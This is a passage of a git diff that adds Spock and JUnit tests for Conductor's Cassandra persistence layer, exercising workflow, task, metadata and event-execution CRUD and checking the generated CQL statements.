WorkflowModel(workflowDefinition: workflowDef, workflowId: workflowId, input: new HashMap(), status: WorkflowModel.Status.RUNNING, createTime: System.currentTimeMillis()) + executionDAO.createWorkflow(workflow) + + and: 'create tasks for this workflow' + TaskModel task1 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task1', referenceTaskName: 'task1', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + TaskModel task2 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task2', referenceTaskName: 'task2', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + TaskModel task3 = new TaskModel(workflowInstanceId: workflowId, taskType: 'task3', referenceTaskName: 'task3', status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate()) + + and: 'add the tasks to the datastore' + executionDAO.createTasks([task1, task2, task3]) + + when: + boolean removed = executionDAO.removeTask(task3.getTaskId()) + + then: + removed + def workflowMetadata = executionDAO.getWorkflowMetadata(workflowId) + workflowMetadata.totalTasks == 2 + workflowMetadata.totalPartitions == 1 + + when: 'read workflow with tasks again' + def found = executionDAO.getWorkflow(workflowId) + + then: + found != null + found.workflowId == workflowId + found.tasks.size() == 2 + found.getTaskByRefName('task1') == task1 + found.getTaskByRefName('task2') == task2 + + and: 'read workflowId for the deleted task id' + executionDAO.lookupWorkflowIdFromTaskId(task3.taskId) == null + + and: 'try to read removed task' + executionDAO.getTask(task3.getTaskId()) == null + + when: 'remove the workflow' + removed = executionDAO.removeWorkflow(workflowId) + + then: 'check task_lookup table' + removed + executionDAO.lookupWorkflowIdFromTaskId(task1.taskId) == null + executionDAO.lookupWorkflowIdFromTaskId(task2.taskId) == null + } + + def "CRUD on task def limit"() { + given: + String taskDefName = "test_task_def" + String taskId = new IDGenerator().generate() + + TaskDef taskDef = new TaskDef(concurrentExecLimit: 1) + WorkflowTask workflowTask = new WorkflowTask(taskDefinition: taskDef) + workflowTask.setTaskDefinition(taskDef) + + TaskModel task = new TaskModel() + task.taskDefName = taskDefName + task.taskId = taskId + task.workflowInstanceId = new IDGenerator().generate() + task.setWorkflowTask(workflowTask) + task.setTaskType("test_task") + task.setWorkflowType("test_workflow") + task.setStatus(TaskModel.Status.SCHEDULED) + + TaskModel newTask = new TaskModel() + newTask.setTaskDefName(taskDefName) + newTask.setTaskId(new IDGenerator().generate()) + newTask.setWorkflowInstanceId(new IDGenerator().generate()) + newTask.setWorkflowTask(workflowTask) + newTask.setTaskType("test_task") + newTask.setWorkflowType("test_workflow") + newTask.setStatus(TaskModel.Status.SCHEDULED) + + when: // no tasks are IN_PROGRESS + executionDAO.addTaskToLimit(task) + + then: + !executionDAO.exceedsLimit(task) + + when: // set a task to IN_PROGRESS + task.setStatus(TaskModel.Status.IN_PROGRESS) + executionDAO.addTaskToLimit(task) + + then: // same task is checked + !executionDAO.exceedsLimit(task) + + and: // check if new task can be added + executionDAO.exceedsLimit(newTask) + + when: // set IN_PROGRESS task to COMPLETED + task.setStatus(TaskModel.Status.COMPLETED) + executionDAO.removeTaskFromLimit(task) + + then: // check new task again + !executionDAO.exceedsLimit(newTask) + + when: // set new task to IN_PROGRESS + newTask.setStatus(TaskModel.Status.IN_PROGRESS) + executionDAO.addTaskToLimit(newTask) + + then: // check new task again + !executionDAO.exceedsLimit(newTask) + } + + def "verify if invalid identifiers throw correct exceptions"() { + when: 'verify that a non-conforming uuid throws an exception' + executionDAO.getTask('invalid_id') + + then: + thrown(IllegalArgumentException.class) + + when: 'verify that a non-conforming uuid throws an exception' + executionDAO.getWorkflow('invalid_id', true) + + then: + thrown(IllegalArgumentException.class) + + and: 'verify that a non-existing generated id returns null' + executionDAO.getTask(new IDGenerator().generate()) == null + executionDAO.getWorkflow(new IDGenerator().generate(), true) == null + } + + def "CRUD on event execution"() throws Exception { + given: + String event = "test-event" + String executionId1 = "id_1" + String messageId1 = "message1" + String eventHandler1 = "test_eh_1" + EventExecution eventExecution1 = getEventExecution(executionId1, messageId1, eventHandler1, event) + + when: // create event execution explicitly + executionDAO.addEventExecution(eventExecution1) + List eventExecutionList = executionDAO.getEventExecutions(eventHandler1, event, messageId1) + + then: // fetch executions + eventExecutionList != null && eventExecutionList.size() == 1 + eventExecutionList[0] == eventExecution1 + + when: // add a different execution for same message + String executionId2 = "id_2" + EventExecution eventExecution2 = getEventExecution(executionId2, messageId1, eventHandler1, event) + executionDAO.addEventExecution(eventExecution2) + eventExecutionList = executionDAO.getEventExecutions(eventHandler1, event, messageId1) + + then: // fetch executions + eventExecutionList != null && eventExecutionList.size() == 2 + eventExecutionList[0] == eventExecution1 + eventExecutionList[1] == eventExecution2 + + when: // update the second execution + eventExecution2.setStatus(COMPLETED) + executionDAO.updateEventExecution(eventExecution2) + eventExecutionList = executionDAO.getEventExecutions(eventHandler1, event, messageId1) + + then: // fetch executions + eventExecutionList != null && eventExecutionList.size() == 2 + eventExecutionList[0].status == IN_PROGRESS + eventExecutionList[1].status == COMPLETED + + when: // sleep for 5 seconds (TTL) + Thread.sleep(5000L) + eventExecutionList = executionDAO.getEventExecutions(eventHandler1, event, messageId1) + + then: + eventExecutionList != null && eventExecutionList.size() == 1 + + when: // delete event execution + executionDAO.removeEventExecution(eventExecution1) + eventExecutionList = executionDAO.getEventExecutions(eventHandler1, event, messageId1) + + then: + eventExecutionList != null && eventExecutionList.empty + } + + def "serde of workflow with large number of tasks"() { + given: 'create a workflow and tasks for this workflow' + String workflowId = new IDGenerator().generate() + + def workflowTasks = (0..999) + .collect { new WorkflowTask(name: it, taskReferenceName: it, taskDefinition: new TaskDef(name: it)) } + WorkflowDef workflowDef = new WorkflowDef(name: UUID.randomUUID().toString(), version: 1, tasks: workflowTasks) + + def taskList = (0..999) + .collect { new TaskModel(workflowInstanceId: workflowId, taskType: it, referenceTaskName: it, status: TaskModel.Status.SCHEDULED, taskId: new IDGenerator().generate(), workflowTask: workflowTasks.get(it)) } + + WorkflowModel workflow = new WorkflowModel(workflowDefinition: workflowDef, workflowId: workflowId, status: WorkflowModel.Status.RUNNING, createTime: System.currentTimeMillis()) + + and: 'create workflow' + executionDAO.createWorkflow(workflow) + + when: 'add the tasks to the datastore' + def start_time = System.currentTimeMillis() + executionDAO.createTasks(taskList) + println("Create 1000 tasks, duration: ${System.currentTimeMillis() - start_time} ms") + + then: + def workflowMetadata = executionDAO.getWorkflowMetadata(workflowId) + workflowMetadata.totalTasks == 1000 + + when: 'read workflow with tasks' + start_time = System.currentTimeMillis() + WorkflowModel found = executionDAO.getWorkflow(workflowId, true) + println("Get workflow with 1000 tasks, duration: ${System.currentTimeMillis() - start_time} ms") + + then: + found != null + workflow.workflowId == found.workflowId + found.tasks != null && found.tasks.size() == 1000 + (0..999).collect {found.getTaskByRefName(""+it) == taskList.get(it)} + } + + private static EventExecution getEventExecution(String id, String msgId, String name, String event) { + EventExecution eventExecution = new EventExecution(id, msgId); + eventExecution.setName(name); + eventExecution.setEvent(event); + eventExecution.setStatus(EventExecution.Status.IN_PROGRESS); + return eventExecution; + } +} diff --git a/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraMetadataDAOSpec.groovy b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraMetadataDAOSpec.groovy new file mode 100644 index 0000000..498435c --- /dev/null +++ b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraMetadataDAOSpec.groovy @@ -0,0 +1,233 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao + +import com.netflix.conductor.common.metadata.tasks.TaskDef +import com.netflix.conductor.common.metadata.workflow.WorkflowDef + +import spock.lang.Subject + +class CassandraMetadataDAOSpec extends CassandraSpec { + + @Subject + CassandraMetadataDAO metadataDAO + + def setup() { + metadataDAO = new CassandraMetadataDAO(session, objectMapper, cassandraProperties, statements) + } + + def cleanup() { + + } + + def "CRUD on WorkflowDef"() throws Exception { + given: + String name = "workflow_def_1" + int version = 1 + + WorkflowDef workflowDef = new WorkflowDef() + workflowDef.setName(name) + workflowDef.setVersion(version) + workflowDef.setOwnerEmail("test@junit.com") + + when: 'create workflow definition' + metadataDAO.createWorkflowDef(workflowDef) + + then: // fetch the workflow definition + def defOptional = metadataDAO.getWorkflowDef(name, version) + defOptional.present + defOptional.get() == workflowDef + + and: // register a higher version + int higherVersion = 2 + workflowDef.setVersion(higherVersion) + workflowDef.setDescription("higher version") + + when: // register the higher version definition + metadataDAO.createWorkflowDef(workflowDef) + defOptional = metadataDAO.getWorkflowDef(name, higherVersion) + + then: // fetch the higher version + defOptional.present + defOptional.get() == workflowDef + + when: // fetch latest version + defOptional = metadataDAO.getLatestWorkflowDef(name) + + then: + defOptional && defOptional.present + defOptional.get() == workflowDef + + when: // modify the definition + workflowDef.setOwnerEmail("test@junit.com") + metadataDAO.updateWorkflowDef(workflowDef) + defOptional = metadataDAO.getWorkflowDef(name, higherVersion) + + then: // fetch the workflow definition + defOptional.present + defOptional.get() == workflowDef + + when: // delete workflow def + metadataDAO.removeWorkflowDef(name, higherVersion) + defOptional = metadataDAO.getWorkflowDef(name, higherVersion) + + then: + defOptional.empty + } + + def "CRUD on TaskDef"() { + given: + String task1Name = "task1" + String task2Name = "task2" + + when: // fetch all task defs + def taskDefList = metadataDAO.getAllTaskDefs() + + then: + taskDefList.empty + + when: // register a task definition + TaskDef taskDef = new TaskDef() + taskDef.setName(task1Name) + metadataDAO.createTaskDef(taskDef) + taskDefList = metadataDAO.getAllTaskDefs() + + then: // fetch all task defs + taskDefList && taskDefList.size() == 1 + + when: // fetch the task def + def returnTaskDef = metadataDAO.getTaskDef(task1Name) + + then: + returnTaskDef == taskDef + + when: // register another task definition + TaskDef taskDef1 = new TaskDef() + taskDef1.setName(task2Name) + metadataDAO.createTaskDef(taskDef1) + // fetch all task defs + taskDefList = metadataDAO.getAllTaskDefs() + + then: + taskDefList && taskDefList.size() == 2 + + when: // update task def + taskDef.setOwnerEmail("juni@test.com") + metadataDAO.updateTaskDef(taskDef) + returnTaskDef = metadataDAO.getTaskDef(task1Name) + + then: + returnTaskDef == taskDef + + when: // delete task def + metadataDAO.removeTaskDef(task2Name) + taskDefList = metadataDAO.getAllTaskDefs() + + then: + taskDefList && taskDefList.size() == 1 + // fetch deleted task def + metadataDAO.getTaskDef(task2Name) == null + } + + def "set default response timeout when not set"() { + given: + String task1Name = "task1" + + when: // register a task definition + TaskDef taskDef = new TaskDef() + taskDef.setName(task1Name) + taskDef.setResponseTimeoutSeconds(0) + metadataDAO.createTaskDef(taskDef) + def returnTaskDef = metadataDAO.getTaskDef(task1Name) + + then: + returnTaskDef.getResponseTimeoutSeconds() == 3600 + + when: // register another task definition + taskDef.setTimeoutSeconds(200) + taskDef.setResponseTimeoutSeconds(0) + metadataDAO.updateTaskDef(taskDef) + // fetch all task defs + def taskDefList = metadataDAO.getAllTaskDefs() + + then: + taskDefList && taskDefList.size() == 1 + taskDefList.get(0).getResponseTimeoutSeconds() == 199 + + } + + def "Get All WorkflowDef"() { + when: + metadataDAO.removeWorkflowDef("workflow_def_1", 1) + WorkflowDef workflowDef = new WorkflowDef() + workflowDef.setName("workflow_def_1") + workflowDef.setVersion(1) + workflowDef.setOwnerEmail("test@junit.com") + metadataDAO.createWorkflowDef(workflowDef) + + workflowDef.setName("workflow_def_2") + metadataDAO.createWorkflowDef(workflowDef) + workflowDef.setVersion(2) + metadataDAO.createWorkflowDef(workflowDef) + + workflowDef.setName("workflow_def_3") + workflowDef.setVersion(1) + metadataDAO.createWorkflowDef(workflowDef) + workflowDef.setVersion(2) + metadataDAO.createWorkflowDef(workflowDef) + workflowDef.setVersion(3) + metadataDAO.createWorkflowDef(workflowDef) + + then: // fetch the workflow definition + def allDefsLatestVersions = metadataDAO.getAllWorkflowDefsLatestVersions() + Map allDefsMap = allDefsLatestVersions.collectEntries {wfDef -> [wfDef.getName(), wfDef]} + allDefsMap.get("workflow_def_1").getVersion() == 1 + allDefsMap.get("workflow_def_2").getVersion() == 2 + allDefsMap.get("workflow_def_3").getVersion() == 3 + } + + def "parse index string"() { + expect: + def pair = metadataDAO.getWorkflowNameAndVersion(nameVersionStr) + pair.left == workflowName + pair.right == version + + where: + nameVersionStr << ['name/1', 'namespace/name/3', '/namespace/name_with_lodash/2', 'name//4', 'name-with$%/895'] + workflowName << ['name', 'namespace/name', '/namespace/name_with_lodash', 'name/', 'name-with$%'] + version << [1, 3, 2, 4, 895] + } + + def "parse index string - incorrect values"() { + when: + metadataDAO.getWorkflowNameAndVersion("name_with_no_version") + + then: + def ex = thrown(IllegalStateException.class) + println(ex.message) + + when: + metadataDAO.getWorkflowNameAndVersion("name_with_no_version/") + + then: + ex = thrown(IllegalStateException.class) + println(ex.message) + + when: + metadataDAO.getWorkflowNameAndVersion("name/non_number_version") + + then: + ex = thrown(IllegalStateException.class) + println(ex.message) + } +} diff --git a/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraSpec.groovy b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraSpec.groovy new file mode 100644 index 0000000..935788e --- /dev/null +++ b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraSpec.groovy @@ -0,0 +1,70 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.dao + +import java.time.Duration + +import org.springframework.beans.factory.annotation.Autowired +import org.springframework.test.context.ContextConfiguration +import org.testcontainers.containers.CassandraContainer +import org.testcontainers.spock.Testcontainers + +import com.netflix.conductor.cassandra.config.CassandraProperties +import com.netflix.conductor.cassandra.util.Statements +import com.netflix.conductor.common.config.TestObjectMapperConfiguration + +import com.datastax.driver.core.ConsistencyLevel +import com.datastax.driver.core.Session +import com.fasterxml.jackson.databind.ObjectMapper +import groovy.transform.PackageScope +import spock.lang.Shared +import spock.lang.Specification + +@ContextConfiguration(classes = [TestObjectMapperConfiguration.class]) +@Testcontainers +@PackageScope +abstract class CassandraSpec extends Specification { + + @Shared + CassandraContainer cassandra = new CassandraContainer() + + @Shared + Session session + + @Autowired + ObjectMapper objectMapper + + CassandraProperties cassandraProperties + Statements statements + + def setupSpec() { + session = cassandra.cluster.newSession() + } + + def setup() { + String keyspaceName = "junit" + cassandraProperties = Mock(CassandraProperties.class) { + getKeyspace() >> keyspaceName + getReplicationStrategy() >> "SimpleStrategy" + getReplicationFactorKey() >> "replication_factor" + getReplicationFactorValue() >> 1 + getReadConsistencyLevel() >> ConsistencyLevel.LOCAL_ONE + getWriteConsistencyLevel() >> ConsistencyLevel.LOCAL_ONE + getTaskDefCacheRefreshInterval() >> Duration.ofSeconds(60) + getEventHandlerCacheRefreshInterval() >> Duration.ofSeconds(60) + getEventExecutionPersistenceTtl() >> Duration.ofSeconds(5) + } + + statements = new Statements(keyspaceName) + } +} diff --git a/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/util/StatementsSpec.groovy b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/util/StatementsSpec.groovy new file mode 100644 index 0000000..8517e7e --- /dev/null +++ b/cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/util/StatementsSpec.groovy @@ -0,0 +1,70 @@ +/* + * Copyright 2022 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.cassandra.util + +import spock.lang.Specification +import spock.lang.Subject + +class StatementsSpec extends Specification { + + @Subject + Statements subject + + def setup() { + subject = new Statements('test') + } + + def "verify statements"() { + when: + subject + + then: + with(subject) { + insertWorkflowDefStatement == "INSERT INTO test.workflow_definitions (workflow_def_name,version,workflow_definition) VALUES (?,?,?) IF NOT EXISTS;" + insertTaskDefStatement == "INSERT INTO test.task_definitions (task_defs,task_def_name,task_definition) VALUES ('task_defs',?,?);" + selectWorkflowDefStatement == "SELECT workflow_definition FROM test.workflow_definitions WHERE workflow_def_name=? AND version=?;" + selectAllWorkflowDefVersionsByNameStatement == "SELECT * FROM test.workflow_definitions WHERE workflow_def_name=?;" + selectAllWorkflowDefsStatement == "SELECT * FROM test.workflow_defs_index WHERE workflow_def_version_index=?;" + selectTaskDefStatement == "SELECT task_definition FROM test.task_definitions WHERE task_defs='task_defs' AND task_def_name=?;" + selectAllTaskDefsStatement == "SELECT * FROM test.task_definitions WHERE task_defs=?;" + updateWorkflowDefStatement == "UPDATE test.workflow_definitions SET workflow_definition=? WHERE workflow_def_name=? AND version=?;" + deleteWorkflowDefStatement == "DELETE FROM test.workflow_definitions WHERE workflow_def_name=? AND version=?;" + deleteWorkflowDefIndexStatement == "DELETE FROM test.workflow_defs_index WHERE workflow_def_version_index=? AND workflow_def_name_version=?;" + deleteTaskDefStatement == "DELETE FROM test.task_definitions WHERE task_defs='task_defs' AND task_def_name=?;" + insertWorkflowStatement == "INSERT INTO test.workflows (workflow_id,shard_id,task_id,entity,payload,total_tasks,total_partitions) VALUES (?,?,?,'workflow',?,?,?);" + insertTaskStatement == "INSERT INTO test.workflows (workflow_id,shard_id,task_id,entity,payload) VALUES (?,?,?,'task',?);" + insertEventExecutionStatement == "INSERT INTO test.event_executions (message_id,event_handler_name,event_execution_id,payload) VALUES (?,?,?,?) IF NOT EXISTS;" + selectTotalStatement == "SELECT total_tasks,total_partitions FROM test.workflows WHERE workflow_id=? AND shard_id=1;" + selectTaskStatement == "SELECT payload FROM test.workflows WHERE workflow_id=? AND shard_id=? AND entity='task' AND task_id=?;" + selectWorkflowStatement == "SELECT payload FROM test.workflows WHERE workflow_id=? AND shard_id=1 AND entity='workflow';" + selectWorkflowWithTasksStatement == "SELECT * FROM test.workflows WHERE workflow_id=? AND shard_id=?;" + selectTaskFromLookupTableStatement == "SELECT workflow_id FROM test.task_lookup WHERE task_id=?;" + selectTasksFromTaskDefLimitStatement == "SELECT * FROM test.task_def_limit WHERE task_def_name=?;" + selectAllEventExecutionsForMessageFromEventExecutionsStatement == "SELECT * FROM test.event_executions WHERE message_id=? AND event_handler_name=?;" + updateWorkflowStatement == "UPDATE test.workflows SET payload=? WHERE workflow_id=? AND shard_id=1 AND entity='workflow' AND task_id='';" + updateTotalTasksStatement == "UPDATE test.workflows SET total_tasks=? WHERE workflow_id=? AND shard_id=?;" + updateTotalPartitionsStatement == "UPDATE test.workflows SET total_partitions=?,total_tasks=? WHERE workflow_id=? AND shard_id=1;" + updateTaskLookupStatement == "UPDATE test.task_lookup SET workflow_id=? WHERE task_id=?;" + updateTaskDefLimitStatement == "UPDATE test.task_def_limit SET workflow_id=? WHERE task_def_name=? AND task_id=?;" + updateEventExecutionStatement == "UPDATE test.event_executions USING TTL ? SET payload=? WHERE message_id=? AND event_handler_name=? AND event_execution_id=?;" + deleteWorkflowStatement == "DELETE FROM test.workflows WHERE workflow_id=? AND shard_id=?;" + deleteTaskLookupStatement == "DELETE FROM test.task_lookup WHERE task_id=?;" + deleteTaskStatement == "DELETE FROM test.workflows WHERE workflow_id=? AND shard_id=? AND entity='task' AND task_id=?;" + deleteTaskDefLimitStatement == "DELETE FROM test.task_def_limit WHERE task_def_name=? AND task_id=?;" + deleteEventExecutionsStatement == "DELETE FROM test.event_executions WHERE message_id=? AND event_handler_name=? AND event_execution_id=?;" + insertEventHandlerStatement == "INSERT INTO test.event_handlers (handlers,event_handler_name,event_handler) VALUES ('handlers',?,?);" + selectAllEventHandlersStatement == "SELECT * FROM test.event_handlers WHERE handlers=?;" + deleteEventHandlerStatement == "DELETE FROM test.event_handlers WHERE handlers='handlers' AND event_handler_name=?;" + } + } +} diff --git a/common-persistence/build.gradle b/common-persistence/build.gradle new file mode 100644 index 0000000..9d09a58 --- /dev/null +++ b/common-persistence/build.gradle @@ -0,0 +1,10 @@ +dependencies { + + implementation project(':conductor-common') + implementation project(':conductor-core') + + implementation "com.fasterxml.jackson.core:jackson-databind" + implementation "com.fasterxml.jackson.core:jackson-core" + implementation "org.apache.commons:commons-lang3" + +} \ No newline at end of file diff --git a/common-persistence/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java b/common-persistence/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java new file mode 100644 index 0000000..fc40687 --- /dev/null +++ b/common-persistence/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java @@ -0,0 +1,440 @@ +/* + * Copyright 2023 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package com.netflix.conductor.dao; + +import java.util.ArrayList; +import java.util.Collections; +import java.util.HashMap; +import java.util.LinkedList; +import java.util.List; +import java.util.Map; +import java.util.Set; +import java.util.UUID; +import java.util.stream.Collectors; + +import org.apache.commons.lang3.builder.EqualsBuilder; +import org.junit.Rule; +import org.junit.Test; +import org.junit.rules.ExpectedException; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.exception.NonTransientException; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.Assert.*; + +public abstract class ExecutionDAOTest { + + protected abstract ExecutionDAO getExecutionDAO(); + + protected ConcurrentExecutionLimitDAO getConcurrentExecutionLimitDAO() { + return (ConcurrentExecutionLimitDAO) getExecutionDAO(); + } + + @Rule public ExpectedException expectedException = ExpectedException.none(); + + @Test + public void testTaskExceedsLimit() { + TaskDef taskDefinition = new TaskDef(); + taskDefinition.setName("task100"); + taskDefinition.setConcurrentExecLimit(1); + + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("task1"); + workflowTask.setTaskDefinition(taskDefinition); + workflowTask.setTaskDefinition(taskDefinition); + + List tasks = new LinkedList<>(); + for (int i = 0; i < 15; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(i + 1); + task.setTaskId("t_" + i); + task.setWorkflowInstanceId("workflow_" + i); + task.setReferenceTaskName("task1"); + task.setTaskDefName("task100"); + tasks.add(task); + task.setStatus(TaskModel.Status.SCHEDULED); + task.setWorkflowTask(workflowTask); + } + + getExecutionDAO().createTasks(tasks); + assertFalse(getConcurrentExecutionLimitDAO().exceedsLimit(tasks.get(0))); + tasks.get(0).setStatus(TaskModel.Status.IN_PROGRESS); + getExecutionDAO().updateTask(tasks.get(0)); + + for (TaskModel task : tasks) { + assertTrue(getConcurrentExecutionLimitDAO().exceedsLimit(task)); + } + } + + @Test + public void testCreateTaskException() { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName("task1"); + + expectedException.expect(NonTransientException.class); + expectedException.expectMessage("Workflow instance id cannot be null"); + getExecutionDAO().createTasks(Collections.singletonList(task)); + + task.setWorkflowInstanceId(UUID.randomUUID().toString()); + expectedException.expect(NonTransientException.class); + expectedException.expectMessage("Task reference name cannot be null"); + getExecutionDAO().createTasks(Collections.singletonList(task)); + } + + @Test + public void testCreateTaskException2() { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(UUID.randomUUID().toString()); + task.setTaskDefName("task1"); + task.setWorkflowInstanceId(UUID.randomUUID().toString()); + + expectedException.expect(NonTransientException.class); + expectedException.expectMessage("Task reference name cannot be null"); + getExecutionDAO().createTasks(Collections.singletonList(task)); + } + + @Test + public void testTaskCreateDups() { + List tasks = new LinkedList<>(); + String workflowId = UUID.randomUUID().toString(); + + for (int i = 0; i < 3; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(i + 1); + task.setTaskId(workflowId + "_t" + i); + task.setReferenceTaskName("t" + i); + task.setRetryCount(0); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("task" + i); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + } + + // Let's insert a retried task + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(workflowId + "_t" + 2); + task.setReferenceTaskName("t" + 2); + task.setRetryCount(1); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("task" + 2); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + + // Duplicate task! + task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(workflowId + "_t" + 1); + task.setReferenceTaskName("t" + 1); + task.setRetryCount(0); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("task" + 1); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + + List created = getExecutionDAO().createTasks(tasks); + assertEquals(tasks.size() - 1, created.size()); // 1 less + + Set srcIds = + tasks.stream() + .map(t -> t.getReferenceTaskName() + "." + t.getRetryCount()) + .collect(Collectors.toSet()); + Set createdIds = + created.stream() + .map(t -> t.getReferenceTaskName() + "." + t.getRetryCount()) + .collect(Collectors.toSet()); + + assertEquals(srcIds, createdIds); + + List pending = getExecutionDAO().getPendingTasksByWorkflow("task0", workflowId); + assertNotNull(pending); + assertEquals(1, pending.size()); + assertTrue(EqualsBuilder.reflectionEquals(tasks.get(0), pending.get(0))); + + List found = getExecutionDAO().getTasks(tasks.get(0).getTaskDefName(), null, 1); + assertNotNull(found); + assertEquals(1, found.size()); + assertTrue(EqualsBuilder.reflectionEquals(tasks.get(0), found.get(0))); + } + + @Test + public void testTaskOps() { + List tasks = new LinkedList<>(); + String workflowId = UUID.randomUUID().toString(); + + for (int i = 0; i < 3; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId(workflowId + "_t" + i); + task.setReferenceTaskName("testTaskOps" + i); + task.setRetryCount(0); + task.setWorkflowInstanceId(workflowId); + task.setTaskDefName("testTaskOps" + i); + task.setStatus(TaskModel.Status.IN_PROGRESS); + tasks.add(task); + } + + for (int i = 0; i < 3; i++) { + TaskModel task = new TaskModel(); + task.setScheduledTime(1L); + task.setSeq(1); + task.setTaskId("x" + workflowId + "_t" + i); + task.setReferenceTaskName("testTaskOps" + i); + task.setRetryCount(0); + task.setWorkflowInstanceId("x" + workflowId); + task.setTaskDefName("testTaskOps" + i); + task.setStatus(TaskModel.Status.IN_PROGRESS); + getExecutionDAO().createTasks(Collections.singletonList(task)); + } + + List created = getExecutionDAO().createTasks(tasks); + assertEquals(tasks.size(), created.size()); + + List pending = + getExecutionDAO().getPendingTasksForTaskType(tasks.get(0).getTaskDefName()); + assertNotNull(pending); + assertEquals(2, pending.size()); + // Pending list can come in any order. finding the one we are looking for and then + // comparing + TaskModel matching = + pending.stream() + .filter(task -> task.getTaskId().equals(tasks.get(0).getTaskId())) + .findAny() + .get(); + assertTrue(EqualsBuilder.reflectionEquals(matching, tasks.get(0))); + + for (int i = 0; i < 3; i++) { + TaskModel found = getExecutionDAO().getTask(workflowId + "_t" + i); + assertNotNull(found); + found.getOutputData().put("updated", true); + found.setStatus(TaskModel.Status.COMPLETED); + getExecutionDAO().updateTask(found); + } + + List taskIds = + tasks.stream().map(TaskModel::getTaskId).collect(Collectors.toList()); + List found = getExecutionDAO().getTasks(taskIds); + assertEquals(taskIds.size(), found.size()); + found.forEach( + task -> { + assertTrue(task.getOutputData().containsKey("updated")); + assertEquals(true, task.getOutputData().get("updated")); + boolean removed = getExecutionDAO().removeTask(task.getTaskId()); + assertTrue(removed); + }); + + found = getExecutionDAO().getTasks(taskIds); + assertTrue(found.isEmpty()); + } + + @Test + public void testPending() { + WorkflowDef def = new WorkflowDef(); + def.setName("pending_count_test"); + + WorkflowModel workflow = createTestWorkflow(); + workflow.setWorkflowDefinition(def); + + List workflowIds = generateWorkflows(workflow, 10); + long count = getExecutionDAO().getPendingWorkflowCount(def.getName()); + assertEquals(10, count); + + for (int i = 0; i < 10; i++) { + getExecutionDAO().removeFromPendingWorkflow(def.getName(), workflowIds.get(i)); + } + + count = getExecutionDAO().getPendingWorkflowCount(def.getName()); + assertEquals(0, count); + } + + @Test + public void complexExecutionTest() { + WorkflowModel workflow = createTestWorkflow(); + int numTasks = workflow.getTasks().size(); + + String workflowId = getExecutionDAO().createWorkflow(workflow); + assertEquals(workflow.getWorkflowId(), workflowId); + + List created = getExecutionDAO().createTasks(workflow.getTasks()); + assertEquals(workflow.getTasks().size(), created.size()); + + WorkflowModel workflowWithTasks = + 